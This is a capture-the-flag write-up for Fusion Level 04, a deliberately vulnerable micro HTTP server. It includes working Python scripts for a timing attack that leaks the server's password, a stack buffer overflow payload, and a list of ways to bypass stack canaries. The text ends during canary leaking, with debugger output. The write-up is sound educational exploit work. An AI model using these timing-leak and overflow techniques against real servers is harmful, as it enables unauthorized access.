Exploit Excercises - Fusion Level 4
Summary
Fusion Level 04 was a tough challenge from exploit excercises that required the pwner to implement a timing attack and defeat modern countermeasures implemented by the compiler (stack canary, PIE, and non-executable stack) and operating system (ASLR). This was the most realistic binary exploitation challenge I have done yet which proves that in certain circumstances, buffer overflows are still exploitable today. You can read more on the challenge here.
If you would like to watch me analyze this challenge in a video, you can watch it here.
Analyze the Countermeasures
Before developing a binary exploit, we must always check its countermeasures:
$ scp fusion@192.168.254.156:/opt/fusion/bin/level04 .
fusion@192.168.254.156's password:
level04 100% 74KB 49.0MB/s 00:00
kali@kali:~/ctf/fusion/level04$ checksec level04
[*] '/home/kali/ctf/fusion/level04/level04'
Arch: i386-32-little
RELRO: No RELRO
Stack: Canary found
NX: NX enabled
PIE: PIE enabled
FORTIFY: Enabled
The challenge website also mentions that ASLR (Address Space Layout Randomization) is enabled.
The Code
Since we have access to the code, we might as well use it to our advantage:
level04.c
#include "../common/common.c"
// original code from micro_httpd_12dec2005.tar.gz -- acme.com. added vulnerabilities etc ;)
/* micro_httpd - really small HTTP server
**
** Copyright (c) 1999,2005 by Jef Poskanzer <jef@mail.acme.com>.
** All rights reserved.
**
** Redistribution and use in source and binary forms, with or without
** modification, are permitted provided that the following conditions
** are met:
** 1. Redistributions of source code must retain the above copyright
** notice, this list of conditions and the following disclaimer.
** 2. Redistributions in binary form must reproduce the above copyright
** notice, this list of conditions and the following disclaimer in the
** documentation and/or other materials provided with the distribution.
**
** THIS SOFTWARE IS PROVIDED BY THE AUTHOR AND CONTRIBUTORS ``AS IS'' AND
** ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE
** IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE
** ARE DISCLAIMED. IN NO EVENT SHALL THE AUTHOR OR CONTRIBUTORS BE LIABLE
** FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL
** DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS
** OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION)
** HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT
** LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY
** OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF
** SUCH DAMAGE.
*/
#define SERVER_NAME "level04.c"
#define SERVER_URL "https://gist.github.com/b69116098bcc6ef7dfb4"
#define PROTOCOL "HTTP/1.0"
#define RFC1123FMT "%a, %d %b %Y %H:%M:%S GMT"
/* Forwards. */
static void file_details( char* dir, char* name );
static void send_error( int status, char* title, char* extra_header, char* text );
static void send_headers( int status, char* title, char* extra_header,
char* mime_type, off_t length, time_t mod );
static char* get_mime_type( char* name );
static void strdecode( char* to, char* from );
static int hexit( char c );
static void strencode( char* to, size_t tosize, const char* from );
int webserver(int argc, char **argv);
// random decoder
void build_decoding_table();
char *password;
int password_size = 16;
int main(int argc, char **argv)
{
int fd, i;
char *args[6];
/* Securely generate a password for this session */
secure_srand();
password = calloc(password_size, 1);
for(i = 0; i < password_size; i++) {
switch(rand() % 3) {
case 0: password[i] = (rand() % 25) + 'a'; break;
case 1: password[i] = (rand() % 25) + 'A'; break;
case 2: password[i] = (rand() % 9) + '0'; break;
}
}
// printf("password is %s\n", password);
background_process(NAME, UID, GID);
fd = serve_forever(PORT);
set_io(fd);
alarm(15);
args[0] = "/opt/fusion/bin/stack06";
args[1] = "/opt/fusion/run";
args[2] = NULL;
build_decoding_table();
webserver(2, args);
}
// random decoder from stackoverflow
// modified to make more vulnerable
#include <math.h>
#include <stdint.h>
#include <stdlib.h>
static char encoding_table[] = {'A', 'B', 'C', 'D', 'E', 'F', 'G', 'H',
'I', 'J', 'K', 'L', 'M', 'N', 'O', 'P',
'Q', 'R', 'S', 'T', 'U', 'V', 'W', 'X',
'Y', 'Z', 'a', 'b', 'c', 'd', 'e', 'f',
'g', 'h', 'i', 'j', 'k', 'l', 'm', 'n',
'o', 'p', 'q', 'r', 's', 't', 'u', 'v',
'w', 'x', 'y', 'z', '0', '1', '2', '3',
'4', '5', '6', '7', '8', '9', '+', '/'};
static char *decoding_table = NULL;
static int mod_table[] = {0, 2, 1};
void base64_decode(const char *data,
size_t input_length,
unsigned char *output,
size_t *output_length) {
if (decoding_table == NULL) build_decoding_table();
// printf("data: %p, input_length: %d, output: %p, output_length: %p\n",
// data, input_length, output, output_length);
if ((input_length % 4) != 0) {
// printf("len % 4 = fail\n");
return;
}
*output_length = input_length / 4 * 3;
if (data[input_length - 1] == '=') (*output_length)--;
if (data[input_length - 2] == '=') (*output_length)--;
for (int i = 0, j = 0; i < input_length;) {
uint32_t sextet_a = data[i] == '=' ? 0 & i++ : decoding_table[data[i++]];
uint32_t sextet_b = data[i] == '=' ? 0 & i++ : decoding_table[data[i++]];
uint32_t sextet_c = data[i] == '=' ? 0 & i++ : decoding_table[data[i++]];
uint32_t sextet_d = data[i] == '=' ? 0 & i++ : decoding_table[data[i++]];
uint32_t triple = (sextet_a << 3 * 6)
+ (sextet_b << 2 * 6)
+ (sextet_c << 1 * 6)
+ (sextet_d << 0 * 6);
if (j < *output_length) output[j++] = (triple >> 2 * 8) & 0xFF;
if (j < *output_length) output[j++] = (triple >> 1 * 8) & 0xFF;
if (j < *output_length) output[j++] = (triple >> 0 * 8) & 0xFF;
}
}
void build_decoding_table() {
decoding_table = malloc(256);
for (int i = 0; i < 0x40; i++)
decoding_table[encoding_table[i]] = i;
}
void base64_cleanup() {
free(decoding_table);
}
// end random decoder
int validate_credentials(char *line)
{
char *p, *pw;
unsigned char details[2048];
int bytes_wrong;
int l;
struct timeval tv;
int output_len;
memset(details, 0, sizeof(details));
output_len = sizeof(details);
p = strchr(line, '\n');
if(p) *p = 0;
p = strchr(line, '\r');
if(p) *p = 0;
// printf("%d\n", strlen(line));
base64_decode(line, strlen(line), details, &output_len);
// printf("%s -> %s\n", line, details);
// fflush(stdout);
p = strchr(details, ':');
pw = (p == NULL) ? (char *)details : p + 1;
for(bytes_wrong = 0, l = 0; pw[l] && l < password_size; l++) {
if(pw[l] != password[l]) {
#if 0
char *buf;
asprintf(&buf, "[%d] wrong byte (%02x vs %02x)\n", l,
password[l], pw[l]);
write(58, buf, strlen(buf));
#endif
bytes_wrong++;
}
}
// anti bruteforce mechanism. good luck ;>
tv.tv_sec = 0;
tv.tv_usec = 2500 * bytes_wrong;
select(0, NULL, NULL, NULL, &tv);
// printf("%d bytes wrong!\n", bytes_wrong);
if(l < password_size || bytes_wrong)
send_error(401, "Unauthorized",
"WWW-Authenticate: Basic realm=\"stack06\"",
"Unauthorized");
return 1;
}
int
webserver( int argc, char** argv )
{
char line[10000], method[10000], path[10000], protocol[10000], idx[20000];
char location[20000], command[20000];
char* file;
size_t len;
int ich;
struct stat sb;
FILE* fp;
struct dirent **dl;
int i, n;
int authed = 0;
if ( argc != 2 )
send_error( 500, "Internal Error", (char*) 0,
"Config error - no dir specified." );
if ( chdir( argv[1] ) < 0 )
send_error( 500, "Internal Error", (char*) 0,
"Config error - couldn't chdir()." );
if ( fgets( line, sizeof(line), stdin ) == (char*) 0 )
send_error( 400, "Bad Request", (char*) 0,
"No request found." );
if ( sscanf( line, "%[^ ] %[^ ] %[^ ]", method, path, protocol ) != 3 )
send_error( 400, "Bad Request", (char*) 0, "Can't parse request." );
while ( fgets( line, sizeof(line), stdin ) != (char*) 0 )
{
if ( strncmp ( line, "Authorization: Basic ", 21) == 0)
authed = validate_credentials(line + 21);
if ( strcmp( line, "\n" ) == 0 || strcmp( line, "\r\n" ) == 0 )
break;
}
if ( ! authed) send_error(401, "Unauthorized",
"WWW-Authenticate: Basic realm=\"stack06\"",
"Unauthorized");
if ( strcasecmp( method, "get" ) != 0 )
send_error( 501, "Not Implemented", (char*) 0,
"That method is not implemented." );
if ( path[0] != '/' )
send_error( 400, "Bad Request", (char*) 0, "Bad filename." );
file = &(path[1]);
strdecode( file, file );
if ( file[0] == '\0' )
file = "./";
len = strlen( file );
if ( file[0] == '/' || strcmp( file, ".." ) == 0 ||
strncmp( file, "../", 3 ) == 0 || strstr( file, "/../" ) != (char*) 0 ||
strcmp( &(file[len-3]), "/.." ) == 0 )
send_error( 400, "Bad Request", (char*) 0, "Illegal filename." );
if ( stat( file, &sb ) < 0 )
send_error( 404, "Not Found", (char*) 0, "File not found." );
if ( S_ISDIR( sb.st_mode ) )
{
if ( file[len-1] != '/' )
{
(void) snprintf(
location, sizeof(location), "Location: %s/", path );
send_error( 302, "Found", location, "Directories must end with a slash." );
}
(void) snprintf( idx, sizeof(idx), "%sindex.html", file );
if ( stat( idx, &sb ) >= 0 )
{
file = idx;
goto do_file;
}
send_headers( 200, "Ok", (char*) 0, "text/html", -1, sb.st_mtime );
(void) printf( "<html><head><title>Index of %s</title></head>\n"
"<body bgcolor=\"#99cc99\"><h4>Index of %s</h4>\n<pre>\n",
file, file );
n = scandir( file, &dl, NULL, alphasort );
if ( n < 0 )
perror( "scandir" );
else
for ( i = 0; i < n; ++i )
file_details( file, dl[i]->d_name );
(void) printf( "</pre>\n<hr>\n<address><a href=\"%s\">%s</a></address>"
"\n</body></html>\n", SERVER_URL, SERVER_NAME );
}
else
{
do_file:
fp = fopen( file, "r" );
if ( fp == (FILE*) 0 )
send_error( 403, "Forbidden", (char*) 0, "File is protected." );
send_headers( 200, "Ok", (char*) 0, get_mime_type( file ), sb.st_size,
sb.st_mtime );
while ( ( ich = getc( fp ) ) != EOF )
putchar( ich );
}
(void) fflush( stdout );
exit( 0 );
}
static void
file_details( char* dir, char* name )
{
static char encoded_name[1000];
static char path[2000];
struct stat sb;
char timestr[16];
strencode( encoded_name, sizeof(encoded_name), name );
(void) snprintf( path, sizeof(path), "%s/%s", dir, name );
if ( lstat( path, &sb ) < 0 )
(void) printf( "<a href=\"%s\">%-32.32s</a> ???\n",
encoded_name, name );
else
{
(void) strftime( timestr, sizeof(timestr), "%d%b%Y %H:%M",
localtime( &sb.st_mtime ) );
(void) printf( "<a href=\"%s\">%-32.32s</a> %15s %14lld\n",
encoded_name, name, timestr, (int64_t) sb.st_size );
}
}
static void
send_error( int status, char* title, char* extra_header, char* text )
{
send_headers( status, title, extra_header, "text/html", -1, -1 );
(void) printf( "<html><head><title>%d %s</title></head>\n<body "
"bgcolor=\"#cc9999\"><h4>%d %s</h4>\n", status,
title, status, title );
(void) printf( "%s\n", text );
(void) printf( "<hr>\n<address><a href=\"%s\">%s</a></address>"
"\n</body></html>\n", SERVER_URL, SERVER_NAME );
(void) fflush( stdout );
exit( 1 );
}
static void
send_headers( int status, char* title, char* extra_header,
char* mime_type, off_t length, time_t mod )
{
time_t now;
char timebuf[100];
(void) printf( "%s %d %s\015\012", PROTOCOL, status, title );
(void) printf( "Server: %s\015\012", SERVER_NAME );
now = time( (time_t*) 0 );
(void) strftime( timebuf, sizeof(timebuf), RFC1123FMT, gmtime( &now ) );
(void) printf( "Date: %s\015\012", timebuf );
if ( extra_header != (char*) 0 )
(void) printf( "%s\015\012", extra_header );
if ( mime_type != (char*) 0 )
(void) printf( "Content-Type: %s\015\012", mime_type );
if ( length >= 0 )
(void) printf( "Content-Length: %lld\015\012", (int64_t) length );
if ( mod != (time_t) -1 )
{
(void) strftime( timebuf, sizeof(timebuf), RFC1123FMT, gmtime( &mod ) );
(void) printf( "Last-Modified: %s\015\012", timebuf );
}
(void) printf( "Connection: close\015\012" );
(void) printf( "\015\012" );
}
static char*
get_mime_type( char* name )
{
char* dot;
dot = strrchr( name, '.' );
if ( dot == (char*) 0 )
return "text/plain; charset=iso-8859-1";
if ( strcmp( dot, ".html" ) == 0 || strcmp( dot, ".htm" ) == 0 )
return "text/html; charset=iso-8859-1";
if ( strcmp( dot, ".jpg" ) == 0 || strcmp( dot, ".jpeg" ) == 0 )
return "image/jpeg";
if ( strcmp( dot, ".gif" ) == 0 )
return "image/gif";
if ( strcmp( dot, ".png" ) == 0 )
return "image/png";
if ( strcmp( dot, ".css" ) == 0 )
return "text/css";
if ( strcmp( dot, ".au" ) == 0 )
return "audio/basic";
if ( strcmp( dot, ".wav" ) == 0 )
return "audio/wav";
if ( strcmp( dot, ".avi" ) == 0 )
return "video/x-msvideo";
if ( strcmp( dot, ".mov" ) == 0 || strcmp( dot, ".qt" ) == 0 )
return "video/quicktime";
if ( strcmp( dot, ".mpeg" ) == 0 || strcmp( dot, ".mpe" ) == 0 )
return "video/mpeg";
if ( strcmp( dot, ".vrml" ) == 0 || strcmp( dot, ".wrl" ) == 0 )
return "model/vrml";
if ( strcmp( dot, ".midi" ) == 0 || strcmp( dot, ".mid" ) == 0 )
return "audio/midi";
if ( strcmp( dot, ".mp3" ) == 0 )
return "audio/mpeg";
if ( strcmp( dot, ".ogg" ) == 0 )
return "application/ogg";
if ( strcmp( dot, ".pac" ) == 0 )
return "application/x-ns-proxy-autoconfig";
return "text/plain; charset=iso-8859-1";
}
static void
strdecode( char* to, char* from )
{
for ( ; *from != '\0'; ++to, ++from )
{
if ( from[0] == '%' && isxdigit( from[1] ) && isxdigit( from[2] ) )
{
*to = hexit( from[1] ) * 16 + hexit( from[2] );
from += 2;
}
else
*to = *from;
}
*to = '\0';
}
static int
hexit( char c )
{
if ( c >= '0' && c <= '9' )
return c - '0';
if ( c >= 'a' && c <= 'f' )
return c - 'a' + 10;
if ( c >= 'A' && c <= 'F' )
return c - 'A' + 10;
return 0; /* shouldn't happen, we're guarded by isxdigit() */
}
static void
strencode( char* to, size_t tosize, const char* from )
{
int tolen;
for ( tolen = 0; *from != '\0' && tolen + 4 < tosize; ++from )
{
if ( isalnum(*from) || strchr( "/_.-~", *from ) != (char*) 0 )
{
*to = *from;
++to;
++tolen;
}
else
{
(void) sprintf( to, "%%%02x", (int) *from & 0xff );
to += 3;
tolen += 3;
}
}
*to = '\0';
}
Objectives
- Get a shell on fusion by exploiting
level04
.
The Setup
All challenges on fusion require a very specific runtime environment, so for this challenge we will be using the fusion VM itself as the runtime environment.
Since the challenge represents a web server that forks into child processes, and I am more familiar with intel assembly syntax, we can modify the ~/.gdbinit
file below like the following:
fusion@fusion:~$ cat ~/.gdbinit
set disassembly-flavor intel
set follow-fork-mode child
fusion@fusion:~$ ls -l .gdbinit
-rw-r--r-- 1 root root 56 2020-10-21 10:45 .gdbinit
Next, let’s attach GDB to level04
:
fusion@fusion:~$ ps -ef | grep level04
20004 1483 1 0 10:27 ? 00:00:00 /opt/fusion/bin/level04
fusion 1782 1554 0 10:47 pts/0 00:00:00 grep --color=auto level04
fusion@fusion:~$ sudo gdb -q -p 1483
Attaching to process 1483
Reading symbols from /opt/fusion/bin/level04...done.
Reading symbols from /lib/i386-linux-gnu/libc.so.6...Reading symbols from /usr/lib/debug/lib/i386-linux-gnu/libc-2.13.so...done.
done.
Loaded symbols for /lib/i386-linux-gnu/libc.so.6
Reading symbols from /lib/ld-linux.so.2...(no debugging symbols found)...done.
Loaded symbols for /lib/ld-linux.so.2
0xb7859424 in __kernel_vsyscall ()
(gdb) bt
#0 0xb7859424 in __kernel_vsyscall ()
#1 0xb77a4501 in accept () at ../sysdeps/unix/sysv/linux/i386/socket.S:61
#2 0xb787b3b5 in main (argc=1, argv=0xbfe469f4) at level04/../common/common.c:220
(gdb)
Finding the Vulnerability
Let’s try some basic fuzzing and see how the program’s execution behaves. Since this is an HTTP server, we can try using curl
to send a basic HTTP request to it.
For completeness, the service is listening on port 20004
:
fusion@fusion:~$ sudo netstat -nlp | grep level04
[sudo] password for fusion:
tcp 0 0 0.0.0.0:20004 0.0.0.0:* LISTEN 1483/level04
$ curl -vv http://192.168.254.156:20004
* Trying 192.168.254.156:20004...
* Connected to 192.168.254.156 (192.168.254.156) port 20004 (#0)
> GET / HTTP/1.1
> Host: 192.168.254.156:20004
> User-Agent: curl/7.72.0
> Accept: */*
>
* Mark bundle as not supporting multiuse
* HTTP 1.0, assume close after body
< HTTP/1.0 401 Unauthorized
< Server: level04.c
< Date: Tue, 20 Oct 2020 23:52:40 GMT
< WWW-Authenticate: Basic realm="stack06"
< Content-Type: text/html
< Connection: close
<
<html><head><title>401 Unauthorized</title></head>
<body bgcolor="#cc9999"><h4>401 Unauthorized</h4>
Unauthorized
<hr>
<address><a href="https://gist.github.com/2449d15e6fb675383c8b">level04.c</a></address>
</body></html>
* Closing connection 0
Looks like we got a 401 Unauthorized
. If we trace this back in the code, we will notice that we invoked the send_error
function.
Let’s try sending something with a valid Authorization
header:
kali@kali:~/$ curl -vv -H "Authorization: Basic `echo -n admin:admin | base64`" http://192.168.254.156:20004
* Trying 192.168.254.156:20004...
* Connected to 192.168.254.156 (192.168.254.156) port 20004 (#0)
> GET / HTTP/1.1
> Host: 192.168.254.156:20004
> User-Agent: curl/7.72.0
> Accept: */*
> Authorization: Basic YWRtaW46YWRtaW4=
>
* Mark bundle as not supporting multiuse
* HTTP 1.0, assume close after body
< HTTP/1.0 401 Unauthorized
* Recv failure: Connection reset by peer
* Closing connection 0
curl: (56) Recv failure: Connection reset by peer
Analyzing the stack trace in gdb, we notice that the level04
tried to validate the credential:
Breakpoint 1, send_error (status=5, title=0x1 <Address 0x1 out of bounds>,
extra_header=0x0, text=0x10 <Address 0x10 out of bounds>) at level04/level04.c:319
319 in level04/level04.c
(gdb) bt
#0 send_error (status=5, title=0x1 <Address 0x1 out of bounds>, extra_header=0x0,
text=0x10 <Address 0x10 out of bounds>) at level04/level04.c:319
#1 0xb787c2e4 in validate_credentials (line=0xbfe3cc71 "YWRtaW46YWRtaW4=")
at level04/level04.c:209
#2 0xb787c4c0 in webserver (argc=0, argv=0x4) at level04/level04.c:237
#3 0xb787b4d0 in main (argc=1, argv=0xbfe469f4) at level04/level04.c:86
After analyzing the code, it doesn’t look like we can branch the program’s execution anywhere else without first guessing the password.
Updated Objectives
- Leak the web server’s password.
- Pop a shell.
Hunting for Buffer Overflows
Let’s quickly examing the first few lines of the validate_credentials
function:
int validate_credentials(char *line)
{
char *p, *pw;
unsigned char details[2048];
int bytes_wrong;
int l;
struct timeval tv;
int output_len;
memset(details, 0, sizeof(details));
output_len = sizeof(details);
p = strchr(line, '\n');
if(p) *p = 0;
p = strchr(line, '\r');
if(p) *p = 0;
// printf("%d\n", strlen(line));
base64_decode(line, strlen(line), details, &output_len);
Notice that the line
argument is base64-decoded into details
which is a buffer that can hold up to 2048 bytes.
The details
buffer will be the victim of our stack buffer overflow attack since the attacker controls the line
argument.
Let’s see how many bytes a line
can be:
level04.c lines 220-248
int
webserver( int argc, char** argv )
{
char line[10000], method[10000], path[10000], protocol[10000], idx[20000];
char location[20000], command[20000];
char* file;
size_t len;
int ich;
struct stat sb;
FILE* fp;
struct dirent **dl;
int i, n;
int authed = 0;
if ( argc != 2 )
send_error( 500, "Internal Error", (char*) 0,
"Config error - no dir specified." );
if ( chdir( argv[1] ) < 0 )
send_error( 500, "Internal Error", (char*) 0,
"Config error - couldn't chdir()." );
if ( fgets( line, sizeof(line), stdin ) == (char*) 0 )
send_error( 400, "Bad Request", (char*) 0,
"No request found." );
if ( sscanf( line, "%[^ ] %[^ ] %[^ ]", method, path, protocol ) != 3 )
send_error( 400, "Bad Request", (char*) 0, "Can't parse request." );
while ( fgets( line, sizeof(line), stdin ) != (char*) 0 )
{
if ( strncmp ( line, "Authorization: Basic ", 21) == 0)
authed = validate_credentials(line + 21);
The web server reads one line at a time. Each line is 10000
bytes so we can overflow the details
buffer in validate_credentials()
via the line
buffer in webserver()
.
Unfortunately, if we want the program’s execution to reach the overflowed return address in validate_credentials()
, we need the password. Without the right password, send_error
will call exit
, terminating the program before we can jump to the overflowed return address back in validate_credentials
.
level04.c lines 212-217
if(l < password_size || bytes_wrong)
send_error(401, "Unauthorized",
"WWW-Authenticate: Basic realm=\"stack06\"",
"Unauthorized");
return 1;
Leaking the Password
Let’s take a step back and look at the following code snippet in validate_credentials()
:
level04.c lines 182-208
for(bytes_wrong = 0, l = 0; pw[l] && l < password_size; l++) {
if(pw[l] != password[l]) {
#if 0
char *buf;
asprintf(&buf, "[%d] wrong byte (%02x vs %02x)\n", l,
password[l], pw[l]);
write(58, buf, strlen(buf));
#endif
bytes_wrong++;
}
}
// anti bruteforce mechanism. good luck ;>
tv.tv_sec = 0;
tv.tv_usec = 2500 * bytes_wrong;
select(0, NULL, NULL, NULL, &tv);
For those familiar with C
programming, the select()
function introduces a delay which the authors decided to introduce as an anti-bruteforce mechanism.
Since we control the bytes_wrong
variable, we should be able to leak one byte at a time.
Therefore, if we are going to implement a timing attack, we should verify that our first input will represent all invalid bytes.
Consider the following code:
level04.c lines 54-72
char *password;
int password_size = 16;
int main(int argc, char **argv)
{
int fd, i;
char *args[6];
/* Securely generate a password for this session */
secure_srand();
password = calloc(password_size, 1);
for(i = 0; i < password_size; i++) {
switch(rand() % 3) {
case 0: password[i] = (rand() % 25) + 'a'; break;
case 1: password[i] = (rand() % 25) + 'A'; break;
case 2: password[i] = (rand() % 9) + '0'; break;
}
}
Since the password
is a global variable, its value will persist and remain the same amongst forked processes.
The password is also limited to alphanumeric characters, which means we can predict which bytes will never exist in a password.
With this knowledge, we can leak the password using a timing attack with the exploit below:
import argparse
import base64
import binascii
import collections
import time
import string
import sys
from pwn import *
# Pwn context
context.arch = 'i386'
# Environment
PASSWORD_LEN = 16
def make_payload(args, overflow):
payload = b"".join([
b"GET / HTTP/1.0\r\n",
b"Host: " + args.host.encode('utf-8') + b":" + str(args.port).encode('UTF-8') + b"\r\n"
b"User-Agent: curl/7.72.0\r\n"
b"Accept: */*\r\n"
b"Authorization: Basic ",
base64.b64encode(b":" + overflow),
b"\r\n\r\n"
])
return payload
def compute_roundtrips(args, guessed_bytes=b""):
roundtrips = []
invalid_byte = b"\xff" # Character outside the alphanumeric range
invalid_byte_len = PASSWORD_LEN - len(guessed_bytes)
overflow = guessed_bytes + invalid_byte * invalid_byte_len
for _ in range(args.delay_loops):
conn = remote(args.host, args.port)
payload = make_payload(args, overflow)
start = time.time()
conn.send(payload)
conn.recvall()
roundtrips.append(time.time() - start)
conn.close()
return roundtrips
def leak_password(args):
alphabet = string.ascii_lowercase + string.ascii_uppercase + string.digits
password = bytearray(b"\xff" * PASSWORD_LEN)
print('Leaking password: ', end='')
for i in range(PASSWORD_LEN):
context.log_level = 'warn'
counter = collections.Counter()
for c in alphabet:
password[i] = ord(c.encode('utf-8'))
roundtrips = compute_roundtrips(args, password)
average_roundtrip_time = sum(roundtrips) / len(roundtrips)
counter[c] = average_roundtrip_time
guessed_character = min(counter, key=counter.get)
password[i] = ord(guessed_character.encode('utf-8'))
context.log_level = 'info'
print(f'{guessed_character}', end='')
print("\n")
return password
def exploit(args):
password = leak_password(args)
if __name__ == '__main__':
parser = argparse.ArgumentParser(description='Fusion level04 exploit by r0kit.')
parser.add_argument('--host', dest='host', type=str, required=True)
parser.add_argument('--port', dest='port', type=int, default=20004)
parser.add_argument('--password-leak-delay-loops', dest='delay_loops', type=int, default=10)
try:
args = parser.parse_args()
exploit(args)
except argparse.ArgumentError as e:
print("[!] {}".format(e))
parser.print_usage()
sys.exit(1)
Keep in mind that in timing attacks, you will want to collect more stats per character guessed to avoid false positives.
In my script above, setting --password-leak-delay-loops
to 10 was sufficient to fully leak the password without false positives on a local VMWare network.
Note that if the password still won’t leak properly, I recommend leaking more passwords as samples and using the bytes that overlap the most between each leak attempt.
$ python3 exploit.py
Leaking password: 52H2h2c3uEP2LYRX
Now, let’s try authenticating with the password:
kali@kali:~/ctf/fusion/level04$ curl -vv -H "Authorization: Basic `echo -n :52H2h2c3uEP2LYRX |
base64`" http://192.168.254.156:20004
* Trying 192.168.254.156:20004...
* Connected to 192.168.254.156 (192.168.254.156) port 20004 (#0)
> GET / HTTP/1.1
> Host: 192.168.254.156:20004
> User-Agent: curl/7.72.0
> Accept: */*
> Authorization: Basic OjUySDJoMmMzdUVQMkxZUlg=
>
* Mark bundle as not supporting multiuse
* HTTP 1.0, assume close after body
< HTTP/1.0 200 Ok
< Server: level04.c
< Date: Sun, 25 Oct 2020 20:18:41 GMT
< Content-Type: text/html
< Last-Modified: Fri, 27 Apr 2012 08:00:12 GMT
< Connection: close
<
<html><head><title>Index of ./</title></head>
<body bgcolor="#99cc99"><h4>Index of ./</h4>
<pre>
<a href=".">. </a> 27Apr2012 18:00 220
<a href="..">.. </a> 15Dec2011 10:37 60
<a href="core">core </a> 07Apr2012 12:40 339968
<a href="level00.pid">level00.pid </a> 26Oct2020 04:22 5
<a href="level01.pid">level01.pid </a> 06Nov2012 13:43 5
<a href="level02.pid">level02.pid </a> 26Oct2020 04:22 5
<a href="level03.pid">level03.pid </a> 26Oct2020 04:22 5
<a href="level04.pid">level04.pid </a> 26Oct2020 04:22 5
<a href="level05.pid">level05.pid </a> 26Oct2020 04:22 5
<a href="level06.pid">level06.pid </a> 26Oct2020 04:22 5
<a href="level07.pid">level07.pid </a> 26Oct2020 04:22 5
<a href="level09.pid">level09.pid </a> 26Oct2020 01:21 5
<a href="level10.pid">level10.pid </a> 08Apr2012 22:26 5
<a href="level11.pid">level11.pid </a> 09Apr2012 10:25 5
<a href="level12.pid">level12.pid </a> 26Oct2020 01:21 5
<a href="level13.pid">level13.pid </a> 21Apr2012 19:01 6
<a href="level14.pid">level14.pid </a> 28Apr2012 20:48 6
</pre>
<hr>
<address><a href="https://gist.github.com/2449d15e6fb675383c8b">level04.c</a></address>
</body></html>
* Closing connection 0
Success! The leaked password worked!
Now that we have bypassed the authentication mechanism, we should be able to execute the overflowed return address in validate_credentials()
!
Interestingly, we can still prefix the payload of our buffer overflow with the valid password to bypass authentication before overflowing the return address.
import base64
import string
import sys
import time
from pwn import *
# Pwn context
context.arch = 'i386'
context.log_level = 'debug'
# Environment
HOST = '192.168.254.156'
PORT = 20004
PASSWORD = '52H2h2c3uEP2LYRX'
conn = remote(HOST, PORT)
overflow = b"A" * 5000
payload = b"".join([
b"GET / HTTP/1.0\r\n",
b"Host: " + HOST.encode('utf-8') + b":" + str(PORT).encode('UTF-8') + b"\r\n"
b"User-Agent: curl/7.72.0\r\n"
b"Accept: */*\r\n"
b"Authorization: Basic " + base64.b64encode(b":" + PASSWORD.encode('UTF-8') + overflow),
b"\r\n\r\n"
])
conn.send(payload)
conn.recvall()
conn.close()
kali@kali:~/ctf/fusion/level04$ python3 test-stack-smashing.py
[+] Opening connection to 192.168.254.156 on port 20004: Done
[DEBUG] Sent 0x1a90 bytes:
b'GET / HTTP/1.0\r\n'
b'Host: 192.168.254.156:20004\r\n'
b'User-Agent: curl/7.72.0\r\n'
b'Accept: */*\r\n'
b'Authorization: Basic OjUySDJoMmMzdUVQMkxZUlhBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQ
... CONTENT SNIPPED ...
UFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQQ==\r\n'
b'\r\n'
[+] Receiving all data: Done (68B)
[DEBUG] Received 0x44 bytes:
b'*** stack smashing detected ***: /opt/fusion/bin/level04 terminated\n'
[*] Closed connection to 192.168.254.156 port 20004
And it looks like the stack smashing countermeasure was triggered! This is the result of overwriting a stack canary which was altered from its original value.
Stack Canary Bypass Techniques
- Overwrite the
__stack_chk_fail
entry in the GOT. - Leak the canary with some output operation.
- Brute force the stack canary in apps that use
fork()
to copy the parent’s process stack into the child process. - Overwrite the Canary value stored in TLS.
You can read more on defeating stack canaries here.
Leaking the Stack Canary
Since the process calls fork()
, it copies its stack into its child processes. This means that the stack canary will remain the same each time the child process terminates/crashes and we should eventually be able to leak it with enough attempts.
It is also important to know where the canary is located on the stack. You can use the following gdb
script on the fusion
machine to examine the memory like in this writeup:
.gdbinit
set disassembly-flavor intel
set follow-fork-mode child
b [memory address after calling base64_decode() in validate_credentials()]
c
x/32xw $esp
echo -------------------------------------------------------------\n
x/32xw $esp+2048
c
quit
The exploit below fills the details
buffer in the validate_credentials
function, but does not overrun it.
import base64
import string
import sys
import time
from pwn import *
# Pwn context
context.arch = 'i386'
context.log_level = 'debug'
# Environment
HOST = '192.168.254.156'
PORT = 20004
PASSWORD = '52H2h2c3uEP2LYRX'
conn = remote(HOST, PORT)
# The overflow occurs in the password
overflow = b"A" * (2048 - len(PASSWORD) - 1)
payload = b"".join([
b"GET / HTTP/1.0\r\n",
b"Host: " + HOST.encode('utf-8') + b":" + str(PORT).encode('UTF-8') + b"\r\n"
b"User-Agent: curl/7.72.0\r\n"
b"Accept: */*\r\n"
b"Authorization: Basic " + base64.b64encode(b":" + PASSWORD.encode('UTF-8') + overflow),
b"\r\n\r\n"
])
conn.send(payload)
conn.recvall()
conn.close()
Examining the contents in GDB:
fusion@fusion:~$ sudo gdb -q -p 1424 -x ~/.gdbinit
Breakpoint 1 at 0xb78de287
Num Type Disp Enb Address What
1 breakpoint keep y 0xb78de287
/home/fusion/.gdbinit:5: Error in sourced command file:
The program is not being run.
Attaching to process 1424
Reading symbols from /opt/fusion/bin/level04...done.
Reading symbols from /lib/i386-linux-gnu/libc.so.6...Reading symbols from /usr/lib/debug/lib/i386-linux-gnu/libc-2.13.so...done.
done.
Loaded symbols for /lib/i386-linux-gnu/libc.so.6
Reading symbols from /lib/ld-linux.so.2...(no debugging symbols found)...done.
Loaded symbols for /lib/ld-linux.so.2
0xb78bb424 in __kernel_vsyscall ()
